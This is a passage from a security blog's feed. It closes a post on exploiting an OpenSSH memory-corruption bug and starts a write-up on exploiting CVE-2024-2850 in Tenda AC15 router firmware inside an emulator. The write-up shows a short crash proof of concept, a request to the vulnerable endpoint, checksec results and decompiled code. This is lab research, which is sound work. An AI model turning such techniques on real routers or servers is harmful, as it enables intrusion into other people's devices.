&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSH_MAXBLOCKS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// len &amp;gt; 0x40000&lt;/span&gt;
	    &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;fatal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;detect_attack: bad length %d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Further, if you want to write the same value to two locations, you have to call
the vulnerable function twice without crashing. But once you caused the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; to be 0, it stays 0 on the next re-entry. This will cause the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;
bit shifting loop to loop infinitely. No matter how much it tries, bit shifting 0
wont make it big enough to handle your buffer length. You could bypass this by
using your arbitrary write to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; to any value that has a single bit set
(ie 0x1, 0x2, 0x4…). If you use any other values (ie 0x3), then the math for
the loop may come out differently.&lt;/p&gt;

&lt;p&gt;None of this even accounts for the challenges awaiting outside the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;detect_attack&lt;/code&gt; function. If the checksum fails, do you lose your session? What
happens if the ciphertext, your buffer, fails to decrypt?&lt;/p&gt;

&lt;p&gt;This all has an influence on what route you want to take to RCE. Trinity’s
exploit overwrote the root password with a new arbitrary string. Maybe this was
done by pointing the logger at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;? Is there an advantage in this
over shell code? What about breaking the authentication flow and just flipping
an “is authenticated” bit from false to true? Could you overwrite a client
public key in memory to have an RSA exponent of 0? So many fun options to try.
Can you make an exploit that bypasses ALSR?&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Our goal was to crash a patched OpenSSH. We exceeded our own expectations given the time and resources available, crashing with control, an unpatched OpenSSH. This is due to teamwork and creative time saves during the processes of exploitation. There was a ton of theory crafting
throughout the processes that helped us avoid time sinks. Most of all, there
was a lot of fun.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>!exploitable Episode One - Breaking IoT</title>
   <link href="https://blog.doyensec.com/2025/02/11/exploitable-iot.html"/>
   <updated>2025-02-11T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/02/11/exploitable-iot</id>
   <content type="html">&lt;style&gt;ol { list-style-type: decimal }&lt;/style&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;For our last company retreat, the Doyensec team went on a cruise along the coasts of the Mediterranean Sea. As amazing as each stop was, us being geeks, we had to break the monotony of daily pool parties with some much-needed hacking sessions. Luca and John, our chiefs, came to the rescue with three challenges chosen to make us scratch our heads to get to a solution. The goal of each challenge was to analyze a real-world vulnerability with no known exploits and try to make one ourselves. The vulnerabilities were of three different categories: &lt;strong&gt;IoT&lt;/strong&gt;, &lt;strong&gt;web&lt;/strong&gt;, and &lt;strong&gt;binary exploitation&lt;/strong&gt;; so we all chose which one we wanted to deal with, split into teams, and started working on it.&lt;/p&gt;

&lt;p&gt;The name of this whole group activity was “&lt;strong&gt;!exploitable&lt;/strong&gt;”. For those of you who don’t know what that is (I didn’t), it’s referring to an extension made by Microsoft for the WinDbg debugger. Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!exploitable&lt;/code&gt; command, the debugger would analyze the state of the program and tell you what kind of vulnerability was there and if it looked exploitable.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/costamed.png&quot; alt=&quot;Cruise Picture&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;As you may have guessed from the title, this first post is about the IoT challenge.&lt;/p&gt;

&lt;h2 id=&quot;the-bug&quot;&gt;The Bug&lt;/h2&gt;

&lt;p&gt;The vulnerability we were tasked to investigate is a buffer overflow in the firmware of the Tenda AC15 router, known as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-2850&quot;&gt;CVE-2024-2850&lt;/a&gt;. The advisory also links to a &lt;a href=&quot;https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Tenda/AC15/V15.03.05.18/saveParentControlInfo_urls.md&quot;&gt;markdown file on GitHub&lt;/a&gt; with more details and a simple proof of concept. While the repo has been taken down, &lt;a href=&quot;https://web.archive.org/web/20241218073449/https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Tenda/AC15/V15.03.05.18/saveParentControlInfo_urls.md&quot;&gt;the Wayback Machine archived the page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/exploitable-iot-1.png&quot; alt=&quot;Screenshot of the file linked in the advisory&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The GitHub doc describes the vulnerability as a stack-based buffer overflow and says that the vulnerability can be triggered from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urls&lt;/code&gt; parameter of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/goform/saveParentControlInfo&lt;/code&gt; endpoint (part of the router’s control panel API). However, right off the bat, we notice some inconsistencies in the advisory. For starters, the attached screenshots clearly show that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urls&lt;/code&gt; parameter’s contents are copied into a buffer (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v18&lt;/code&gt;) which was allocated with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt;, therefore the overflow should happen on the &lt;strong&gt;heap&lt;/strong&gt;, not on the stack.&lt;/p&gt;

&lt;p&gt;The page also includes a very simple proof of concept which is meant to crash the application by simply sending a request with a large payload. However, we find another inconsistency here, as the parameter used in the PoC is simply called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt;, instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urls&lt;/code&gt; as described in the advisory text.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;192.168.84.101&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http://&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/goform/saveParentControlInfo&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These contradictions may very well be just copy-paste issues, so we didn’t really think about it too much. Moreover, if you do a quick Google search, you will find out that there is no shortage of bugs on this firmware and, more broadly, on Tenda routers – so we weren’t worried.&lt;/p&gt;

&lt;h2 id=&quot;the-setup&quot;&gt;The Setup&lt;/h2&gt;
&lt;p&gt;The first step was to get a working setup to run the vulnerable firmware. Normally, you would need to fetch the firmware, extract the binary, and emulate it using QEMU (NB: not including a million troubleshooting steps in the middle). But we were on a &lt;strong&gt;ship&lt;/strong&gt;, with a very intermittent Internet connection, and there was no way we could have gotten everything working without StackOverflow.&lt;/p&gt;

&lt;p&gt;Luckily, there is an amazing project called &lt;a href=&quot;https://github.com/therealsaumil/emux/&quot;&gt;&lt;strong&gt;EMUX&lt;/strong&gt;&lt;/a&gt; that is built for vulnerability exploitation exercises, exactly what we needed. Simply put, EMUX runs QEMU in a Docker container. The amazing part is that it already includes many vulnerable ARM and MIPS firmwares (including the Tenda AC15 one); it also takes care of networking, patching the binary for specific hardware checks, and many tools (such as GDB with &lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt;) are preinstalled, which is very convenient. If you are interested in how the Tenda AC15 was emulated, you can find a blog post from the tool’s author &lt;a href=&quot;https://armx.exploitlab.net/docs/emulating-tenda-ac15.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/exploitable-iot-2.png&quot; alt=&quot;Screenshot of the file linked in the advisory&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;After following the simple setup steps on EMUX’s README page, we were presented with the router’s control panel exposed on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1:20080&lt;/code&gt; (the password is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ringzer0&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;From the name of the vulnerable endpoint, we can infer that the affected functionality has something to do with parental controls. Therefore, we log in to the control panel, click on the “Parental Control” item on the sidebar, and try to create a new parental control rule. Here is what the form looks like from the web interface:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/exploitable-iot-3.png&quot; alt=&quot;Screenshot of the file linked in the advisory&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;And here’s the request sent to the API, confirming our suspicion that this is where the vulnerability is triggered:&lt;/p&gt;
&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/goform/saveParentControlInfo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;127.0.0.1:20080&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;154&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;X-Requested-With&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;XMLHttpRequest&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded; charset=UTF-8&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;password=ce80adc6ed1ab2b7f2c85b5fdcd8babcrlscvb&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;keep-alive&lt;/span&gt;

deviceId=de:ad:be:ef:13:37&amp;amp;deviceName=test&amp;amp;enable=1&amp;amp;time=19:00-21:00&amp;amp;url_enable=1&amp;amp;urls=google.com&amp;amp;day=1,1,1,1,1,1,1&amp;amp;limit_type=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As expected, the proof of concept from the original advisory did not work out of the box. Firstly, because apparently the affected endpoint is only accessible after authentication, and then because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt; parameter was indeed incorrect. After we added an authentication step to the script and fixed the parameter name, we indeed got a crash. After manually “fuzzing” the request a bit and checking the app’s behavior, we decided it was time to try and hook GDB to the server process to get more insights on the crashes.&lt;/p&gt;

&lt;p&gt;Through EMUX, we spawned a shell in the emulated system and used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt; to check what was running on the OS, which was actually not much (omitting some irrelevant/repeated processes for clarity):&lt;/p&gt;
&lt;pre&gt;
  698 root       0:02 {run-init} /bin/bash ./run-init
 1518 root       0:00 {emuxinit} /bin/sh /.emux/emuxinit
 1548 root       0:58 cfmd
 1549 root       0:00 udevd
 1550 root       0:00 logserver
 1566 root       0:00 nginx: master process nginx -p /var/nginx
 1568 root       0:00 nginx: worker process
 1569 root       0:00 /usr/bin/app_data_center
 1570 root       0:16 moniter
 1573 root       0:00 telnetd
 1942 root       0:02 cfmd
 1944 root       0:23 netctrl
 1945 root       2:00 time_check
 1947 root       1:48 multiWAN
 1950 root       0:01 time_check
 1953 root       0:04 ucloud_v2 -l 4
 1959 root       0:00 business_proc -l 4
 1977 root       0:02 netctrl
 2064 root       0:09 dnrd -a 192.168.100.2 -t 3 -M 600 --cache=2000:4000 -b -R /etc/dnrd -r 3 -s 8.8.8.8
 2068 root       0:00 business_proc -l 4
 2087 root       0:01 dhttpd
 2244 root       0:01 multiWAN
 2348 root       0:03 miniupnpd -f /etc/miniupnpd.config
 4670 root       0:00 /usr/sbin/dropbear -p 22222 -R
 4671 root       0:00 -sh
 4966 root       0:07 sntp 1 17 86400 50 time.windows.com
 &lt;mark&gt;7382 root       0:11 httpd&lt;/mark&gt;
 8820 root       0:00 {run-binsh} /bin/bash ./run-binsh
 8844 root       0:00 {emuxshell} /bin/sh /.emux/emuxshell
 8845 root       0:00 /bin/sh
 9008 root       0:00 /bin/sh -c sleep 40; /root/test-eth0.sh &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
 9107 root       0:00 ps
&lt;/pre&gt;

&lt;p&gt;The process list didn’t show anything too interesting. From the process list you can see that there is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dropbear&lt;/code&gt; SSH server, but this is actually started by EMUX to communicate between the host and the emulated system, and it’s not part of the original firmware. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telnetd&lt;/code&gt; server is also running, which is common for routers. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpd&lt;/code&gt; process seemed to be what we had been looking for; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netstat&lt;/code&gt; confirmed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpd&lt;/code&gt; is the process listening on port 80.&lt;/p&gt;

&lt;pre&gt;
tcp   0   0 0.0.0.0:9000        0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 0.0.0.0:22222       0.0.0.0:*  LISTEN  665/dropbear
&lt;mark&gt;tcp   0   0 192.168.100.2:80    0.0.0.0:*  LISTEN  7382/httpd&lt;/mark&gt;
tcp   0   0 172.27.175.218:80   0.0.0.0:*  LISTEN  2087/dhttpd
tcp   0   0 127.0.0.1:10002     0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 127.0.0.1:10003     0.0.0.0:*  LISTEN  1953/ucloud_v2
tcp   0   0 0.0.0.0:10004       0.0.0.0:*  LISTEN  1954/business_proc
tcp   0   0 0.0.0.0:8180        0.0.0.0:*  LISTEN  1566/nginx
tcp   0   0 0.0.0.0:5500        0.0.0.0:*  LISTEN  2348/miniupnpd
tcp   0   0 127.0.0.1:8188      0.0.0.0:*  LISTEN  1569/app_data_cente
tcp   0   0 :::22222            :::*       LISTEN  665/dropbear
tcp   0   0 :::23               :::*       LISTEN  1573/telnetd
&lt;/pre&gt;

&lt;p&gt;At this point, we just needed to attach GDB to it. We spent more time than I care to admit building a cross-toolchain, compiling GDB, and figuring out how to attach to it from our M1 macs. Don’t do this, just read the manual instead. If we did, we would have discovered that GDB is already included in the container.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;a href=&quot;https://xkcd.com/293/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/rtfm.png&quot; title=&quot;Life is too short for man pages, but occasionally much too short without them.&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 60%;&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;To access it, simply execute the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./emux-docker-shell&lt;/code&gt; script and run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;emuxgdb&lt;/code&gt; command followed by the process you want to attach to. There are also other useful tools available, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;emuxps&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;emuxmaps&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Analyzing the crashes with GDB helped us get a rough idea of what was happening, but nowhere near a “let’s make an exploit” level. We confirmed that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;saveParentControlInfo&lt;/code&gt; function was definitely vulnerable and we agreed that it was time to decompile the function to better understand what was going on.&lt;/p&gt;

&lt;h2 id=&quot;the-investigation&quot;&gt;The Investigation&lt;/h2&gt;
&lt;h3 id=&quot;the-binary&quot;&gt;The Binary&lt;/h3&gt;
&lt;p&gt;To start our investigation, we extracted the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpd&lt;/code&gt; binary from the emulated system. After the first launch, the router’s filesystem is extracted in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/emux/AC15/squashfs-root&lt;/code&gt;, therefore you can simply copy the binary over with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker cp emux-docker:/emux/AC15/squashfs-root/bin/httpd .&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once copied, we checked the binary’s security flags with &lt;a href=&quot;https://docs.pwntools.com/en/stable/commandline.html#pwn-checksec&quot;&gt;pwntool’s checksec&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here is a breakdown of what these means:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NX&lt;/code&gt; (No eXecute) is the only applied mitigation; it means code cannot be executed from some memory areas, such as the stack or the heap. This effectively prevents us from dumping some shellcode into a buffer and jumping into it.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RELRO&lt;/code&gt; (Read-Only Relocation) makes some memory areas read-only instead, such as the Global Offset Table (GOT). The GOT stores the addresses of dynamically linked functions. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RELRO&lt;/code&gt; is not enabled, an arbitrary write primitive could allow an attacker to replace the address of a function in the GOT with an arbitrary one and redirect the execution when the hijacked function is called.&lt;/li&gt;
  &lt;li&gt;A stack canary is a random value placed on the stack right before the final return pointer. The program will check that the stack canary is correct before returning, effectively preventing stack overflows from rewriting the return pointer, unless you are able to leak the canary value using a different vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PIE&lt;/code&gt; (Position Independent Executable) means that the binary itself can be loaded anywhere in memory, and its base address will be chosen randomly every time it is launched. Therefore, a “No PIE” binary is always loaded at the same address, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8000&lt;/code&gt; in this case. Note that this only applies to the binary itself, while the addresses of other segments such as shared libraries and stack/heap will still be randomized if ASLR is activated.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Regarding ASLR, we checked if it was enabled by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat /proc/sys/kernel/randomize_va_space&lt;/code&gt; on the emulated system and the result was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; (i.e., disabled). We are not sure whether ASLR is enabled on the real device or not, but, given the little time available, we decided to just use this to our advantage.&lt;/p&gt;

&lt;p&gt;Because practically all mitigations were deactivated, we had no limitations on which exploit technique to use.&lt;/p&gt;

&lt;h3 id=&quot;the-function&quot;&gt;The Function&lt;/h3&gt;
&lt;p&gt;We fired up Ghidra and spent some time trying to understand the code, while fixing the names and types of variables and functions with the hope of getting a better picture of what the function did. Luckily we did, and here’s a recap of what the function does:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Allocates all the stack variables and buffers
    &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bVar2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bVar3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time_to&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time_from&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rule_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack_394&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id_list&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parsed_days&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parent_control_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auStack_94&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rule_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceId_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceName_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;limit_type_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
